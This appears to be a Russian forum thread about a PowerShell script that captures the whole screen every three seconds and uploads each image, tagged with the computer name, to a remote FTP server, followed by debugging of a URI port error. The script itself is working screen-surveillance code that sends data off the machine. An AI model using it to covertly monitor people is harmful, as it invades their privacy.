Скрин экрана и отправка по FTP

Param(
    $ftpPath   = 'ftp://ftp.domain.ru/screenshots',
    $ftpLogin  = "anonymous",
    $ftpPass   = "",
    $shotDelay = 3
)cls
 
[void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [Reflection.Assembly]::LoadWithPartialName("System.Drawing")
$scr = [Windows.Forms.Screen]::PrimaryScreen.Bounds
$pic = [Drawing.Bitmap]::new($scr.Width, $scr.Height)
$gfx = [Drawing.Graphics]::FromImage($pic)
function UploadTo-Ftp {
    $WRequest = [Net.WebRequest]::Create("$ftpPath/$flH/$name")
    $WRequest.Method = [Net.WebRequestMethods+FTP]::UploadFile
    $WRequest.Credentials = [Net.NetworkCredential]::new($ftpLogin,$ftpPass)
    $WRequest.UsePassive = $false
    $WRequest.KeepAlive = $false
    $WRequest.Timeout = 2048
    $rStream = $WRequest.GetRequestStream()
    $rStream.WriteTimeout = 1024
    try{
        $buffer = [Byte[]]::new(1024)
        $picStream.Position = 0
        do{
            $ReadLength = $picStream.Read($buffer, 0, 1024)
            $rStream.Write($buffer, 0, $ReadLength)
        }
        while($ReadLength -ne 0)
        $rStream.close()
        $rStream.Dispose()
    }
    catch{throw $_}
    finally{$WRequest.Abort()}   
}
function Create-FtpDirectory($dir){
    $WRequest = [Net.WebRequest]::Create("$ftpPath/$dir")
    $WRequest.Method = [Net.WebRequestMethods+FTP]::MakeDirectory
    $WRequest.Credentials = [Net.NetworkCredential]::new($ftpLogin,$ftpPass)
    $WRequest.GetResponse()|Out-null;$WRequest.Abort()
}
function DeleteFrom-Ftp{
    $WRequest = [Net.WebRequest]::Create("$ftpPath/$flH/$name")
    $WRequest.Method = [Net.WebRequestMethods+FTP]::DeleteFile
    $WRequest.Credentials = [Net.NetworkCredential]::new($ftpLogin,$ftpPass)
    $WRequest.GetResponse()|Out-null;$WRequest.Abort()
}
while($true){
    $t1 = date
    $gfx.CopyFromScreen(0, 0, $pic.Size)
    $picStream = [IO.MemoryStream]::new()
    $name = $t1.ToString('dd.MM.yyyy — HH.mm.ss ')+
            "[$env:COMPUTERNAME].png"
    $pic.save($picStream,'Png')
    $flD = $t1.ToString('dd.MM.yyyy')
    $flH = $t1.ToString('dd.MM.yyyy\/HH')
    if($flD-ne$do){Create-FtpDirectory $flD;$do=$flD}
    if($flH-ne$ho){Create-FtpDirectory $flH;$ho=$flH}
    try{UploadTo-Ftp}
    catch{
        DeleteFrom-Ftp
        try{UploadTo-Ftp}
        catch{
            DeleteFrom-Ftp
            Write-Host $_.exception -fo DarkYellow
            Write-Host "$name was not uploaded" -fo DarkRed
        }
    }
    $picStream.Close();$picStream.Dispose()
    $t2 = $shotDelay * 1000 - ((date)-$t1).
          TotalMilliseconds
    try{sleep -m $t2}catch{}
}
$gfx.Dispose();$pic.Dispose()

Исключение при вызове "Create" с "1" аргументами: "Недопустимое значение URI: Указан недопустимый порт."
D:\Tech\Screen1.ps1:43 знак:5
+     $WRequest = [Net.WebRequest]::Create("$ftpPath/$flH/$name")
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UriFormatException
 
Исключение при вызове "Create" с "1" аргументами: "Недопустимое значение URI: Указан недопустимый порт."
D:\Tech\Screen1.ps1:43 знак:5
+     $WRequest = [Net.WebRequest]::Create("$ftpPath/$flH/$name")
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UriFormatException
 
Исключение при вызове "Create" с "1" аргументами: "Недопустимое значение URI: Указан недопустимый порт."
D:\Tech\Screen1.ps1:43 знак:5
+     $WRequest = [Net.WebRequest]::Create("$ftpPath/$flH/$name")
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UriFormatException

cls
$ftpPath = 'ftp://ftp.domain.ru:90/screenshots'
[uri]$ftpPath
$WRequest = [Net.WebRequest]::Create("$ftpPath")
$WRequest.Abort()

PS C:\Users\V_GoodBoy_V> $ftpPath = 'ftp://ftp.domain.ru:90/screenshots'
PS C:\Users\V_GoodBoy_V> [uri]$ftpPath
 
 
AbsolutePath   : /screenshots
AbsoluteUri    : ftp://ftp.domain.ru:90/screenshots
LocalPath      : /screenshots
Authority      : ftp.domain.ru:90
HostNameType   : Dns
IsDefaultPort  : False
IsFile         : False
IsLoopback     : False
PathAndQuery   : /screenshots
Segments       : {/, screenshots}
IsUnc          : False
Host           : ftp.domain.ru
Port           : 90
Query          :
Fragment       :
Scheme         : ftp
OriginalString : ftp://ftp.domain.ru:90/screenshots
DnsSafeHost    : ftp.domain.ru
IdnHost        : ftp.domain.ru
IsAbsoluteUri  : True
UserEscaped    : False
UserInfo       :
 
 
 
PS C:\Users\V_GoodBoy_V> $WRequest = [Net.WebRequest]::Create("$ftpPath")
PS C:\Users\V_GoodBoy_V> $WRequest.Abort()

PS C:\Users\V_GoodBoy_V> $ftpPath = 'ftp://myFTP.sn.mynetname.ne:90/'
PS C:\Users\V_GoodBoy_V> [uri]$ftpPath
 
 
AbsolutePath   : /
AbsoluteUri    : ftp://myFTP.sn.mynetname.ne:90/
LocalPath      : /
Authority      : myFTP.sn.mynetname.ne:90
HostNameType   : Dns
IsDefaultPort  : False
IsFile         : False
IsLoopback     : False
PathAndQuery   : /
Segments       : {/}
IsUnc          : False
Host           : myFTP.sn.mynetname.ne
Port           : 90
Query          :
Fragment       :
Scheme         : ftp
OriginalString : ftp://myFTP.sn.mynetname.ne:90/
DnsSafeHost    : myFTP.sn.mynetname.ne
IdnHost        : myFTP.sn.mynetname.ne
IsAbsoluteUri  : True
UserEscaped    : False
UserInfo       :
 
 
 
PS C:\Users\V_GoodBoy_V> $WRequest = [Net.WebRequest]::Create("$ftpPath")
PS C:\Users\V_GoodBoy_V> $WRequest.Abort()

$name = $t1.ToString('dd.MM.yyyy — HH.mm.ss.pn\g')

$a = "ftp://ftp.domain.com/что-то совсем непотребное.$#=()[]\!"
$uri = [uri]::escapeuristring($a)
$uri

$ftpPath   = 'ftp://3nda17br5j0v.sn.mynetname.net:90/Office/1',